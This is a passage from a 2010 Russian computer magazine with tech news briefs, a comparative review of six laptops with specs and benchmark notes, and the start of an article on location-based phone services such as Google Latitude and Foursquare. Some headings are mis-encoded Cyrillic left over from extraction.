«ÌÅËÊÎÌßÃÊÈÅ» ÐÀÏÎÐÒÓÞÒ: ÇÀ 
ÏÎËÃÎÄÀ ÈÌÈ ÁÛËÎ ÏÐÎÄÀÍÎ ÁÎËÅÅ 
100 ÌËÍ. ËÈÖÅÍÇÈÉ WINDOWS 7.

Просто отличный способ продемонстрировать, что никто не читает пользова-
тельских соглашений, нашел британский онлайн-магазин GameStation. Хозя-
ева ресурса по-тихому добавили в соглашение следующий пункт: «Размещая 
заказ на этом веб-сайте 1 числа 4 месяца 2010 года н.э., вы соглашаетесь 
предоставить нам возможность заявлять о наших правах, сейчас и всегда, на 
вашу бессмертную душу, не подлежащую передаче другому лицу. Если мы по-
желаем воспользоваться данной возможностью, вы соглашаетесь отказаться 
от вашей бессмертной души и любых претензий на нее в течение 5 (пяти) 
рабочих дней с момента получения письменного уведомления от gamesation.
co.uk или его авторизованных представителей». Также уточнялось, что «ком-
пания вправе затребовать душу через послание, состоящее из шестифутовых, 
горящих пламенем букв, и при этом не несет никакой ответственности за 
поврежденное огнем имущество». Для внимательных пользователей была 
возможность отказаться от продажи души — для этого нужно было перейти по 
соответствующему линку. Глазастым покупателям, которые заметили шуточ-
ный пункт, магазин дарил купон на скидку в размере 5 фунтов. Итог розыгрыша 
оказался предсказуемо печален — сами того не ведая, свою бессмертную 
душу продали 88% покупателей, то есть почти 7500 человек. 

ÈÍÒÅÐÍÅÒ-ÌÀÃÀÇÈÍ ÊÓÏÈÒ ÄÓØÈ. ÍÅÄÎÐÎÃÎ.
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Новый «Закон об Интернете», которого опасался весь рунет, от 
рядовых пользователей до крупных IT-компаний, приказал долго 
жить. Напомним, что в декабре 2009 года Правительство дало 
поручение шести ведомствам: Минкомсвязи, МВД, ФСБ, ФСО, 
ФСТЭК и Минюсту. Согласно этому поручению при Минкомсвя-
зи была создана рабочая группа для рассмотрения вопросов 
регулирования интернета, которую возглавил Алексей Солдатов. 
Предполагалось, что она займется разработкой нового законо-
проекта, который, как многие опасались, мог бы серьезно ужесто-
чить цензуру в рунете. Однако ни о каком жестоком регулировании 
Сети, как оказалось, речи не идет, да и вообще было принято 
решение обойтись имеющимся законодательством — в парламен-
те и Минкомсвязи разрабатываются лишь поправки к существую-
щему федеральному закону «Об информации, информационных 
технологиях и о защите информации». Управиться со всем этим 
группа должна к октябрю 2010 — в законе 1700 раз упоминается 
слово «Интернет», и им предстоит внимательно изучить все эти 
упоминания, разработать поправки, учитывающие специфику 
интернета, и устранить все разночтения.

ÇÀÊÎÍÀ «ÎÁ ÈÍÒÅÐÍÅÒÅ» 
ÍÅ ÁÓÄÅÒ. ÏÎÊÀ.

ÎÍÈ ÓÕÎÄßÒ ÂÑËÅÄ 
ÇÀ ÏÅÐÔÎÊÀÐÒÀÌÈ
Компания Sony официально объявила 
о том, что собирается окончательно 
остановить выпуск гибких дискет 3.5“, 
полностью прекратив их производство 
уже к маю 2011 года. Дискетам скоро 
исполнится 30 лет — магнитные диски 
формата 3,5 дюйма были разработаны 
самой компанией Sony в далеком 1981 
году. Объем первой версии составлял 
720 килобайт (9 секторов), более поздняя 
версия имела объем 1440 килобайт или 
1,4 мегабайт (18 секторов), что и стало 

стандартом. На сегодняшний день Sony 
принадлежит почти 70% этого рынка, так 
как многие производители уже давно 
прекратили выпуск дискет, а те, кто еще 
не успел, собираются сделать это в самом 
ближайшем будущем. Поставки дискет 
за пределы Японии в Sony уже отменили, 
так что теперь дело осталось за малым. 
Прощайте, дискеты, мы будем скучать! 
И через что же нам теперь смотреть на 
затмение?..

MEGANEWS
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ÀÊÊÀÓÍÒÛ ÎÏÒÎÌ, 5 ÊÎÏÅÅÊ ÇÀ ÏÓ×ÎÊ
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ÏÅÐÂÛÉ ÐÎËÈÊ ÍÀ YOUTUBE ÏÎßÂÈËÑß 5 ËÅÒ ÍÀÇÀÄ.

Беспрецедентный по масштабности слу-
чай продажи взломанных учетных запи-
сей социальной сети Facebook обнаружи-
ли специалисты лаборатории iDefense. На 
неком закрытом хакерском форуме (адрес 
не разглашается) они отыскали парня под 
ником Kirllos, который неспешно реали-
зовывал хакнутые аккаунты Facebook по 
смешной цене: $25-45 долларов за 1000 
логинов/паролей (цена варьируется в за-
висимости от размера партии). Бросовая 
стоимость объясняется очень просто — 
дело в том, что у хакера на руках имеется 
около 1,5 млн. угнанных учеток. В iDefense 

уверяют, что продажа такого количества 
аккаунтов — дело неслыханное. Меж тем, 
в подтверждение существования такой 
базы сам Kirllos приводит внушительную 
подборку логинов/паролей. Откуда у 
парня взялось такое количество акков, 
остается лишь гадать. Возможно, дело в 
успешной фишинговой атаке, возможно, 
в неком малваре вроде приснопамятного 
ZeuS. Спецы из iDefense утверждают, что 
на данный момент хакер реализовал уже 
порядка 700 тысяч ворованых аккаунтов 
(таким образом, выручив не менее $17,5 
тысяч).   
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ÏÎ ÏÎÄÑ×ÅÒÀÌ ÊÎÌÏÀÍÈÈ CANONICAL, ÀÊÒÈÂÍÛÕ UBUNTU-ÞÇÅÐÎÂ ÓÆÅ 12 
ÌËÍ. ×ÅËÎÂÅÊ, ÒÎÃÄÀ ÊÀÊ ÎÑÅÍÜÞ 2008 ÍÀÑ×ÈÒÛÂÀËÎÑÜ ËÈØÜ 8 ÌËÍ. 

Ну вот и все, организация ICANN 
(Internet Corporation for Assigned 
Names and Numbers) вынесла офи-
циальное решение, разрешив Рос-
сии пользоваться доменом «.РФ» 
и ни в чем себе не отказывать. Это 
означает, что кириллическому инету 
— быть и здравствовать, а также это 
делает Россию первой страной в 
мире, обзаведшейся собственным 
национальным кириллическим 
доменом верхнего уровня. Помимо 
этого Минкомсвязи сообщает, что 
15 апреля Совет Координационного 
центра национального домена сети 
интернет утвердил новое Положе-
ние о приоритетной регистрации 
доменных имен в домене «.РФ» — 
оно вступит в силу 12 мая текущего 

года. Новое положение призвано 
расширить список категорий 
пользователей, которые будут иметь 
право на регистрацию доменов в 
зоне «.РФ» в приоритетном поряд-
ке. По данным на 21 апреля, в зоне 
«.РФ» было зарегистрировано уже 
9936 доменов, из которых 5% соста-
вили домены для государственных 
нужд. Приоритетная регистрация 
завершится 16 сентября, и после 
нее стартует открытая регистрация 
для всех желающих.       

ÇÎÍÅ .ÐÔ ÄÀËÈ ÇÅËÅÍÛÉ 
ÑÂÅÒ

...È ßÁËÎÊÈ 
ÑÂÎÈ 
ÇÀÁÅÐÈÒÅ!

Между компаниями Adobe и Apple уже давно существует немалое ко-
личество разногласий, основная причина которых — технология Flash. 
Венцом всему стала запись в блоге главного менеджера по связям с 
разработчиками платформы Flash, Майка Чамберса. 
В своем посте он сообщил, что в ближайшем будущем Adobe планирует 
прекратить тратить человеческие и финансовые ресурсы на поддер-
жание технологии Flash для iPhone. В пакете Adobe Creative Suite 5 
возможность конвертации Flash-кода в приложения для iPhone пока 
сохранится, но что будет дальше — не совсем понятно. 
В пику закрытым разработкам Apple Чамберс также усиленно хвалил в 
своем посте другие мобильные ОС, в частности много лестных слов пе-
репало Android’у от Google. «Лично я собираюсь переключиться на ап-
параты на базе Android (особенно меня интересуют Android-планшеты, 
которые должны выйти в этом году) и больше не собираюсь уделять так 
много внимания тому, что связано с iPhone», — пишет Чамберс.    
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МЕТОДИКА ТЕСТИРОВАНИЯ
Для проверки быстродействия мы использовали три группы программ. В 
первую входили синтетические бенчмарки 3DMark`06 и PCMark Vantage. Во 
вторую группу программ вошел тест, встроенный в архиватор WinRAR, де-
монстрирующий нам скорость работы связки «процессор + память», а также 
программа SuperPi, серьезно нагружающая систему вычислением числа 
«пи» с точностью до двух миллионов знаков после запятой (мы использова-
ли именно этот параметр). Третью группу составили бенчмарки, встроенные 
в игры: современные и красивые приложения Resident Evil 5 и Tom Clancy’s 
H.A.W.X. Все тесты проводились при работе как от сети, так и от аккумуля-
тора. Такой важный параметр как время работы от батареи мы проверяли 
с помощью программы Battery Eater Pro v2.70. Все исследования прово-
дились с использованием схемы питания Balanced (сбалансированный). 
Стоит отметить, что тесты PCMark (всех версий) сами по себе также являются 
своеобразным испытанием на длительность автономной работы ввиду того, 
что они проходят очень долго (практически час), при этом серьез но нагружая 
всю систему. В этот раз с PCMark Vantage справились все участники тестиро-
вания, но раньше при тестах ноутбуков часто случалось, что ресурса батареи 
устройства не хватало, чтобы выполнить тест до конца.
 
ТЕХНОЛОГИИ
Основными отличиями мощных ноутбуков, которые из-за их габаритов слож-
но назвать в полной мере мобильными компьютерами, от их действительно 
легко транспортируемых собратьев являются, помимо размеров, мощные 
компоненты. В частности это видеоподсистема, которая вполне позволяет 
играть в современные игры, что и доказали наши тесты. Конечно, не стоит 
рассчитывать на самые крутые настройки в новейшем шутере, но все-таки 
это нечто на порядок превосходящее стандартные ноуты, в которых зачастую 
используется встроенное графическое решение. Обратной стороной мощ-
ности и дополняющей ее большой диагонали дисплея являются большие 
габариты, немалый вес и высокое энергопотребление устройства, которое 
повышает нагрев и уменьшает время автономной работы. С одной стороны, 
это не очень большие недостатки, если учесть то, что данные устройства в ос-
новном используются вместо настольных компьютеров, а не как мобильные, 
с другой стороны, любому ноутбуку может быть придется работать автономно, 
в дороге, и эти моменты нужно учитывать.
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Лучшее время автономной работы показал MSI GT729, при этом он 
обеспечивает весьма высокую производительность
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Наибольшее число fps было зафиксировано на HP Pavilion dv6, при-
чем просадка при работе от батареи была не слишком значительная
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Íåñìîòðÿ íà òî, ÷òî íàñòîëüíûå êîìïüþòåðû îáëàäàþò ìàññîé ïðåèìóùåñòâ, ñåãîäíÿ 
âñå áîëüøå è áîëüøå ëþäåé ïðèîáðåòàþò íîóòáóê â êà÷åñòâå íå äîïîëíèòåëüíîãî, 
ìîáèëüíîãî, à îñíîâíîãî êîìïüþòåðà. Êàê ïðàâèëî, ìàðøðóò òàêîãî íîóòáóêà ýòî 

êâàðòèðà — ìàøèíà — ðàáîòà è íàîáîðîò. Ñåãîäíÿ ìû ïðîòåñòèðîâàëè êàê ðàç òàêèå 
óñòðîéñòâà.
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Открыв крышку устройства, мы увидели веб-камеру, блок цифровых 
клавиш на клавиатуре, несколько дополнительных кнопок и тачпад, 
оснащенный линией прокрутки. Приятные сюрпризы начинаются сразу! 
Тачпад несколько смещен влево, но к этому можно быстро привыкнуть. 
Блок цифровых клавиш придется по вкусу тем, кто проводит много 
времени за скучными офисными программами, высокая производитель-
ность и большое время автономной работы — вообще всем, а красиво 
подсвеченная кнопка включения усладит эстетов.

А вот отсутствие разъема DVI или HDMI нас несколько разочаровало. 
Подключить внешний монитор или проектор можно только через порт 
D-Sub. Наличие модема — весьма спорное решение, ведь вместо него 
можно было установить нечто более полезное и современное. 

Кнопка включения размещена сбоку, так что придется некоторое время 
поискать ее на тонком корпусе устройства. Периметр корпуса занят 
портами и разъемами: кроме стандартных там присутствуют eSATA, HDMI 
и mini FireWire. Оснащенный хорошими компонентами, данный ноутбук 
показал весьма высокие результаты во всех наших тестах. Особенно он 
отличился в испытании на длительность работы от батареи, продержав-
шись более 100 минут. Под крышкой нас ждут такие приятные мелочи как 
web-камера и клавиатура с кнопками стандартного, а не уменьшенного 
размера.

Внешний вид ноутбука не отличается оригинальностью. Да и набор ин-
терфейсов не самый богатый, например, разъемов USB здесь всего два. 
Также было бы нелишним наличие портов HDMI или DVI.
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ПРОЦЕССОР, ГГЦ: 2, INTEL MOBILE CORE 2 DUO T6400
ПАМЯТЬ, ГБ: 2
ДИСПЛЕЙ: 15.6”, 1280X800
ВИДЕОКАРТА, МБ: 512, ATI MOBILITY RADEON HD 4570
ЖЕСТКИЙ ДИСК, ГБ: 150
ОПТИЧЕСКИЙ ПРИВОД: DVD SUPER MULTI
СРЕДСТВА СВЯЗИ: GIGABIT LAN, BLUETOOTH, WI-FI 802.11B/G/N
ИНТЕРФЕЙСЫ: 2X USB, VGA, 1X ESATA, 1X HDMI, 1X MINI FIREWIRE, 
EXPRESSCARD, SD, MMC, MS, MS PRO, MIC, EAR
ОПЕРАЦИОННАЯ СИСТЕМА: WINDOWS VISTA HOME BASIC
ГАБАРИТЫ, ММ: 371Х252Х30 
ВЕС, КГ: 2.7

DELL STUDIO 
1515 

Palit GeForce 

GT 220 Sonic 

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ПРОЦЕССОР, ГГЦ: 2.1, INTEL CORE I3-330M
ПАМЯТЬ, ГБ: 3
ДИСПЛЕЙ: 15.6”, 1366X768
ВИДЕОКАРТА, МБ: 512, ATI MOBILITY RADEON HD 5470
ЖЕСТКИЙ ДИСК, ГБ: 250
ОПТИЧЕСКИЙ ПРИВОД: DVD SUPER MULTI DL
СРЕДСТВА СВЯЗИ: МОДЕМ, GIGABIT LAN, BLUETOOTH, WI-FI 
802.11B/G/N
ИНТЕРФЕЙСЫ: 4X USB, 1X HDMI, VGA, SD, MMC, XD, MS, MS PRO, S/
PDIF, MIC, EAR
ГАБАРИТЫ, ММ: 383Х250Х26~37
ВЕС, КГ: 2.8

25000 ðóá.

Palit 
GeForce GT 
240 Sonic

SUPERPI

Toshiba Qosmio X500

от батареиот сети fps (больше-лучше)

0         10         20         30         40         50         60         70         80        90    100

Samsung R580

MSI GT729

HP Pavilion dv6

Dell Studio 1515

Acer Aspire 5740G

Казалось бы, и в этом тесте должен был выиграть лаптоп с самым 
новым процессором, однако SuperPi — однопоточный тест, и тут все 
определяет тактовая частота

ACER ASPIRE 
5740G

25300 ðóá.

Palit 
GeForce GT 
240 Sonic

WINRAR

Toshiba Qosmio X500

от батареиот сети Кб/с (больше-лучше)

0              500             1000             1500             2000            2500

Архивирование в WinRAR существенно нагружает CPU ноутбука и 
победитель очевиден — Toshiba Qosmio X500, оснащенный новей-
шим Intel Core i7

Samsung R580

MSI GT729

HP Pavilion dv6

Dell Studio 1515

Acer Aspire 5740G



Samsung 
R580

GIGABYTE 
GA-MA770T-

UD3PDell Studio 
1515 

Acer Aspire 
5740G

FERRUM
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ПРОЦЕССОР, ГГЦ: ПРОЦЕССОР, ГГЦ: 2.53, INTEL CORE 2 DUO P9500
ПАМЯТЬ, ГБ: ПАМЯТЬ, ГБ: 4
ДИСПЛЕЙ: ДИСПЛЕЙ: 17”, 1680X1050
ВИДЕОПЛАТА, МБ: ВИДЕОПЛАТА, МБ: 1024, ATI MOBILITY RADEON HD 4850
ЖЕСТКИЙ ДИСК, ГБ: ЖЕСТКИЙ ДИСК, ГБ: 300
ОПТИЧЕСКИЙ ПРИВОД: ОПТИЧЕСКИЙ ПРИВОД: BD-ROM
СРЕДСТВА СВЯЗИ: СРЕДСТВА СВЯЗИ: МОДЕМ, GIGABIT LAN, BLUETOOTH, WI-FI 802.11 
B/G/N
ИНТЕРФЕЙСЫ: ИНТЕРФЕЙСЫ: 3X USB, 1X MINI FIREWIRE, 1X ESATA, 1X HDMI, VGA, SD, 
PCMCIA, MIC, EAR
ОПЕРАЦИОННАЯ СИСТЕМА: ОПЕРАЦИОННАЯ СИСТЕМА: N\A
ГАБАРИТЫ, ММ: ГАБАРИТЫ, ММ: 395Х278Х26.5~35
ВЕС, КГ: ВЕС, КГ: 3.2

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ПРОЦЕССОР, ГГЦ: 1.6, INTEL CORE I7-Q720M
ПАМЯТЬ, ГБ: 4
ДИСПЛЕЙ: 15.6”, 1366?768
ВИДЕОПЛАТА, МБ: 1024, NVIDIA GEFORCE GT 230M
ЖЕСТКИЙ ДИСК, ГБ: 250
ОПТИЧЕСКИЙ ПРИВОД: DVD SUPER MULTI DL
СРЕДСТВА СВЯЗИ: GIGABITLAN, BLUETOOTH, WI-FI 802.11 B/G/N, IRDA
ИНТЕРФЕЙСЫ: 4X USB, VGA, 1X HDMI, 1X ESATA (СОВМЕЩЕН С USB), 
1X MINI FIREWIRE, SD, MS, MS PRO, MMC, XD, MIC, EAR, ПОРТ ДЛЯ ДОК-
СТАНЦИИ, EXPRESSCARD
ОПЕРАЦИОННАЯ СИСТЕМА: WINDOWS 7 HOME ADVANCED
ГАБАРИТЫ, ММ: 258X358X37
ВЕС, КГ: 3

MSI
GT729HP PAVILION 

dv6t

Стильный ноутбук небольшого размера. Но не стоит считать его бесполез-
ной малявкой, так как у него есть масса функциональных плюсов: полный 
набор коммуникационных устройств, шикарный набор интерфейсов, блок 
цифровых клавиш, которые порадуют трудоголиков. Внутри скрыты весьма 
и весьма неплохие компоненты, что подтверждают наши тесты. Да, это 
не феноменальная скорость, но вполне приличные показатели, поэтому 
можно утверждать, что работа с большинством задач и приложений будет 
комфортна. Приятным дополнением станет отдельно продающаяся док-
станция, обладающая множеством полезных портов.

Самый главный недостаток данного ноутбука — малое время авто-
номной работы. Как показало наше тестирование, по этому пара-
метру данная модель плетется в хвосте. Да и отсутствие интерфейса 
HDMI также не идет ему в плюс.

От аббревиатуры GT веет скоростью, поэтому корпус выполнен в цвето-
вой схеме «красное и карбон». Полное соответствие спортивному ав-
томобилю: под крышкой-капотом размещены мощный движок и другие 
компоненты, которые позволяют отлично проводить время как в пробках 
и трассах с ограниченной скоростью, так и на автобанах. Большой дис-
плей отлично подойдет как для работы (не нужно листать страницы), так 
и для игр (без комментариев). Приятным дополнением будет дисковод 
Blu-ray — даже если им пока не пользоваться, то уже можно похвастать-
ся. И тест автономной работы — о нем нельзя не сказать, так как пройден 
он был на отлично.

Удалось ему это, правда, за счет большой батареи, выпирающей из кор-
пуса. Поскольку к нам в лабораторию попал инженерный сэмпл — на нем 
не было установлено ОС. А вот причину, по которой бенчмарк PCMark 
Vantage не выдал результатов тестирования, выяснить не удалось.

30000 ðóá. íåèçâåñòíî 
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ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ПРОЦЕССОР, ГГЦ: 1.73, INTEL CORE I7-Q820 
ПАМЯТЬ, МБ: 4
ДИСПЛЕЙ: 18.4”, 1920X1080
ВИДЕОПЛАТА, МБ: 1024, NVIDIA GEFORCE GTS 250M
ЖЕСТКИЙ ДИСК, ГБ: 2X320
ОПТИЧЕСКИЙ ПРИВОД: DVD SUPER MULTI
СРЕДСТВА СВЯЗИ: LAN, BLUETOOTH, WI-FI 802.11B/G/N
ИНТЕРФЕЙСЫ: 3X USB, 1X ESATA, 1X HDMI, 1X MINI FIREWIRE, 
EXPRESSCARD, SD, MS, XD, VGA, MIC, EAR
ОПЕРАЦИОННАЯ СИСТЕМА: WINDOWS 7 ULTIMATE
ГАБАРИТЫ, ММ: 442.6Х294.2Х41.5
ВЕС, КГ: 4.6

ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ПРОЦЕССОР, ГГЦ: 2.53, INTEL CORE I5-540M
ПАМЯТЬ, ГБ: 4
ДИСПЛЕЙ: 15.6”, 1366X768
ВИДЕОПЛАТА, МБ: 1024, NVIDIA GEFORCE GT 330M
ЖЕСТКИЙ ДИСК, ГБ: 500
ОПТИЧЕСКИЙ ПРИВОД: DVD SUPER MULTI DL
СРЕДСТВА СВЯЗИ: GIGABITLAN, BLUETOOTH, WI-FI 802.11B/G/N
ИНТЕРФЕЙСЫ: 4X USB, USB SLEEP-AND-CHARGE, 1X HDMI, 1X ESATA 
(СОВМЕЩЕН С USB), SD, SDHC, MMC, VGA, EXPRESSCARD, MIC, EAR, 
ОПЕРАЦИОННАЯ СИСТЕМА: WINDOWS 7 PROFESSIONAL
ГАБАРИТЫ, ММ: 358X264X28.6~36.5
ВЕС, КГ: 2.7

TOSHIBA QOSMIO
Õ500

ÂÛÂÎÄÛ
Итак, первым в нашем тесте оказался 
MSI GT729, собранный на базе отличных 
компонентов, в число которых входит и 
привод Blu-ray. В ходе тестов эта модель 

продемонстрировала отличные результаты, 
за что и была удостоена наградой «Выбор 
редакции». Ноутбук Samsung R580 получает 
награду «Лучшая покупка» за умеренную 
цену и хорошо сбалансированные комплек-
тующие. Если ты не стеснен в средствах, то 

обрати внимание на Toshiba Qosmio Х500 — 
кроме цены, превышающей стоимость двух 
вместе взятых сегодняшних победителей 
(да и практически любого настольного ПК), у 
этого устройства практически нет недостат-
ков. z

107500 ðóá.

Очень стильный тонкий корпус этого ноутбука, на котором не остается 
отпечатков пальцев, будет привлекать внимание и к его владельцу. Так 
что если тебе нужны восторженные взгляды, то это устройство тебе под-
ходит. Наши тесты показали, что кроме стильности он еще и достаточно 
быстр, а наличие web-камеры, блока цифровых клавиш и полного комму-
никационного набора тонко намекает на функциональность устройства. 
Очень интересной особенностью также является возможность подзаря-
жать различные устройства через особый USB-порт даже когда ноутбук 
выключен.

Результаты времени автономной работы не самые выдающиеся среди 
протестированных моделей. Также к недостаткам следует отнести 
отсутст вие порта HDMI.

Этот ноутбук оснащен самым большим дисплеем в нашем тесте — 18,4 
дюйма! Кроме того, открыв крышку, мы видим очень симпатичную 
клавиатуру с подсветкой, блок цифровых кнопок, а также сенсорную 
панель с дополнительными клавишами. Дальнейшее напоминает крутой 
триллер: устройство оснащено сканером отпечатков пальцев и системой 
распознавания лица, так что безопасности тут уделено немало внима-
ния. Не забыты и интерфейсы, портов и разъемов на корпусе масса, а 
также производительность: мощные компоненты выдали соответствую-
щий результат.

Гигантские габариты этого ноутбука многим могут не понравиться. И что 
расстраивает — от батареи ноутбук работает чуть больше часа. К нам 
попал инженерный образец, видимо поэтому мы не смогли получить 
конечный результат в тесте PCMark Vantage.

SAMSUNG 
R580 34000 ðóá.

Acer Aspire 
5740G

Samsun
R580

HP Pavilion 
dv6t
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огда человек выбирает более 
дешевый смартфон без GPS только 
потому, что у него нет машины и 
навигация ему не нужна, он сильно не 
прав. На самом деле он отказывает 

себе в удовольствии оказаться на гребне 
волны. Вместе с удешевлением самих модулей 
GPS мы получили еще один важный бонус — 
нормально работающий мобильный инет. Во 
многих городах стремительно разворачиваются 
сети 3G, а сотовые операторы помаленьку 

предлагают безлимитные тарифы. В связке 
идет возможность всегда оставаться online, 
а данные о точном расположении позволяют 
использовать современные Location Based 
сервисы. Впрочем, многие из них можно юзать 
и без GPS.

GOOGLE ËÎÊÀÒÎÐ
Спецслужбы могут найти человека по сигналу 
от его мобильника. Ты тоже можешь, но толь-
ко если вы оба используете Google Локатор. 

Чтобы получить дистрибутив, подходящий для 
платформы, прямо с телефона в мобильном 
браузере заходи на www.google.com/latitude. 
Что дальше? Ты получишь доступ к уже ставшей 
родной карте от Google, на которой, помимо 
всего прочего, появится новый объект — ярлы-
чок с твоим расположением. Добавь друзей, 
которые также установили эту программу, и 
будешь видеть, где в текущий момент нахо-
дятся они. Все работает очень четко, чего уж 
там — все-таки GPS. Но надо видеть лица тех 

XÀÊÅÐ  06  /137/  10

Åùå íå òàê äàâíî ìîäóëü GPS áûë îòëè÷èòåëüíîé ÷åðòîé òîïîâûõ ìîäåëåé ñìàðò-
ôîíîâ, à ñàìà òåõíîëîãèÿ èñïîëüçîâàëàñü òîëüêî â íàâèãàöèîííûõ ïðîäóêòàõ. 
Ñåãîäíÿ ÷èï äëÿ âû÷èñëåíèÿ êîîðäèíàò ñ ïîìîùüþ ñïóòíèêîâ âñòðîåí â ëþáîé 
ñðåäíèé ñìàðòôîí, à âîçìîæíîñòü óçíàòü ìåñòîðàñïîëîæåíèå àáîíåíòà îòêðûëà 
ïóòü äëÿ ñîçäàíèÿ íåìàëîãî êîëè÷åñòâà ïîëåçíûõ ñåðâèñîâ.

  Степан «Step» Ильин  step@glc.ru

Íà ÷òî ñïîñîáíû ñåðâèñû, îñíîâàííûå 
íà ìåñòî ïîëîæåíèè àáîíåíòà

LBS-ñåðâèñû, 
èëè çà÷åì â òåëåôîíå
GPS?
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пользователей, которые лицезреют на экране 
свое довольно точное месторасположение, 
хотя никаких навигационных приблуд у них не 
было и в помине! В действительности мно-
гие LBS-сервисы могут работать и без GPS, 
определяя координаты по базовым станциям, 
которые находятся поблизости, и даже по Wi-Fi 
точкам доступа (читай подробнее во врезке). Я 
довольно быстро сагитировал десяток друзей, 
которые стали активно пользоваться програм-
мой. Поначалу запускать и смотреть, кто где 
есть, и кто есть рядом. Было прикольно, пару 
раз даже получалось таким образом встретить-
ся в торговом комплексе. Но очень скоро стало 
понятно, что за картой постоянно не уследишь, 
а если так, то никакого толка, кроме фана, от 
использования ты не получишь. Но тут ребя-
та из Google молодцы. В последних версиях 
Локатора появилась возможность включать 
оповещения о месторасположении. Другими 
словами, когда в следующий раз кто-то из 
друзей будет поблизости, то ты получишь SMS! 
Это будет покруче, чем геотег в Twitter'е — спе-
циальная опция, позволяющая снабдить каж-
дый твит координатами или описаниями места, 
откуда он был отправлен. Система оповещений 
Локатора интеллектуальна. Она не будет слать 
SMS-ки каждый раз, когда твой коллега прихо-
дит на работу. Оповещения присылаются только 
в случаях: 
• когда ты или твой друг находитесь в непри-
вычном месте; если друг находится в при-
вычном месте (например, дома или на работе), 
оповещения не присылаются.
• ты или твой друг находитесь в часто посе-
щаемом месте, но в необычное время. 
Сбор данных и анализ привычных для тебя 
мест пребывания могут занять около недели, 
после чего начнется отправка оповещений. 
Правда, для этого надо не забыть включить 
в настройках опцию «История местораспо-
ложений», но надо иметь в виду, что с этого 
момента все твои перемещения логируются 
— их можно очень удобно просмотреть, запро-
сив информацию за любое время. Вдобавок 
у этого интересного сервиса есть и другие 
полезные опции, например, автоматическое 
обновление статуса в Gtalk или составление 
виджета для сайта/блога с указанием текуще-
го месторасположения. 

ËÎÊÀÒÎÐ 2.0
Впрочем, с какой стороны не посмотри, Google 
Локатор — в целом очень простой сервис, 

который в первую очередь отображает на 
карте тебя и твоих соседей. При этом никак 
не конкретизируется, в каком именно месте 
ты находишься: на сеансе в кинотеатре, 
обедаешь в кафе или просто пришел на 
учебу. Новый тренд на западе, набирающий 
ошеломляющие обороты — сервисы Gowalla 
(gowalla.com) и Foursquare (foursquare.
com), которые прокачали идею Локатора, 
добавив в нее элемент социальной сети. Это 
два аналогичных и жестко конкурирующих 
между собой сервиса, позволяющих делиться 
информацией о своем месторасположении 
и местах, которые посещаешь. Помимо этого 
ты видишь, кто еще бывал в этих местах, и 
какие советы он там оставлял. Получается 
классный справочник по различным местам 
и заведениям с автоматическим поиском и 
привязкой по месторасположению. Достал 
телефон — и сразу видишь, что есть в окру-
ге. Читаешь отзывы — решаешь, куда стоит 
пойти. Зашел внутрь, поставил соответствую-
щий статус — можешь ждать друзей. Это назы-
вается check in :).
Сервисы бурно развиваются и добавляют 
новые фичи. Если ты живешь в крупном 
городе, то попробовать один из них нужно в 
обязательном порядке. Даже в России набра-
лась довольно большая база пользователей, 
которые с удовольствием делятся информаци-
ей. Достаточно завести аккаунт, найти друзей, 
импортировав контакты из Gmail'а, Twitter'а и 
других сервисов, и установить мобильное при-
ложение на свой телефон. В принципе, даже 
необязательно, чтобы мобила поддерживала 
GPS — месторасположение, опять же, очень 
здорово определяется по видимым в округе 
сотовым вышкам. В любой момент программа 
отображает забитые в ее базу места и отзывы 
по ним. Если ты пришел в какое-то место, а 
нужного объекта в базе сервиса нет, смело 
создавай свой. Активность пользователей вся-
чески поддерживается. Foursquare проводят 
маркетинговые акции: если первый придешь в 
ресторан, то получаешь 50% скидку на обед и 
т.п. К тому же, со временем ты набираешь рей-
тинг, что позволяет тебе видеть больше инфор-
мации, чем все остальные. Приложение сейчас 

существует для платформ iPhone, Android, 
BlackBerry и других девайсов. Увы, Windows 
Mobile и Symbian в списке нет. Зато клиенты 
для этих платформ есть у российского альтер-
нативного проекта — AlterGeo (altergeo.ru). 
Используя собственную гибридную технологию 
позиционирования (WiFi+GSM+WiMax+IP), 
сервис определит местоположение и подска-
жет заведения поблизости, узнает, как далеко 
от тебя твои друзья и какие люди находятся 
рядом. Причем, поскольку в AlterGeo встроены 
карты Google, Яндекс.Карты и OpenStreetMaps, 
работать с приложением можно в любой точке 
мира.

ßÍÄÅÊÑ.ÏÐÎÁÊÈ
Если расположение контакта постоянно обнов-
ляется, а он как был посреди дороги, так там и 
остается, ему можно только посочувствовать. 
Приятель встрял в пробку. Существуют различ-
ные способы для отслеживания ситуации на 
дороге: сводки различных оперативных служб, 
камеры и детекторы с автоматическим ана-
лизом картинки, сообщения от энтузиастов и, 
конечно же, софт, использующий LBS-сервисы. 
Команде Яндекса за многие вещи можно 
выражать респект, но лично от меня — боль-

Определение координат без GPS?

Любая из базовых станций имеет некоторый набор параметров, которые получает 
телефон, благодаря чему каждую БС можно распознать. Один из таких параметров — 
CellID (сокращенно CID) — уникальный номер для каждой соты, выданный оператором. 
Существуют базы, в которых для каждого CID указаны его координаты. Чем больше ты 
знаешь о базовых станциях вокруг, тем более точно можно провести расчет текущего 
месторасположения. Точность варьируется от нескольких сотен метров до нескольких 
километров, но это неплохая отправная точка, чтобы разобраться с координатами. 
Ты наверняка обратил внимание, что мобильные инструменты того же Google могут 
очень лихо определять месторасположение человека. Значит, данные у него есть. Но 
откуда? Источников много, но и мы в этом помогаем. Мало кто читает соглашение об 
использовании, но на самом деле, устанавливая программу, мы соглашаемся отправ-
лять информацию о подключенной CellID и текущих координатах (если включен GPS). 
Подробнее о том, как обращаться к этой базе, читай в нашей статье «Навигация без 
GPS» (PDF-версия будет на диске).
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шое спасибо за Яндекс.Пробки. Разработав мобильное приложение 
Яндекс.Пробки (http://mobile.yandex.ru/maps), ребята публично сделали 
доступным то, чего во многих странах не существует даже у оператив-
ных служб. У пользователя на телефоне появились не только карта и 
возможность проложить маршрут, но и постоянно обновляемая инфор-
мация о ситуации на дорогах, привязанная к этой карте. Более того, 
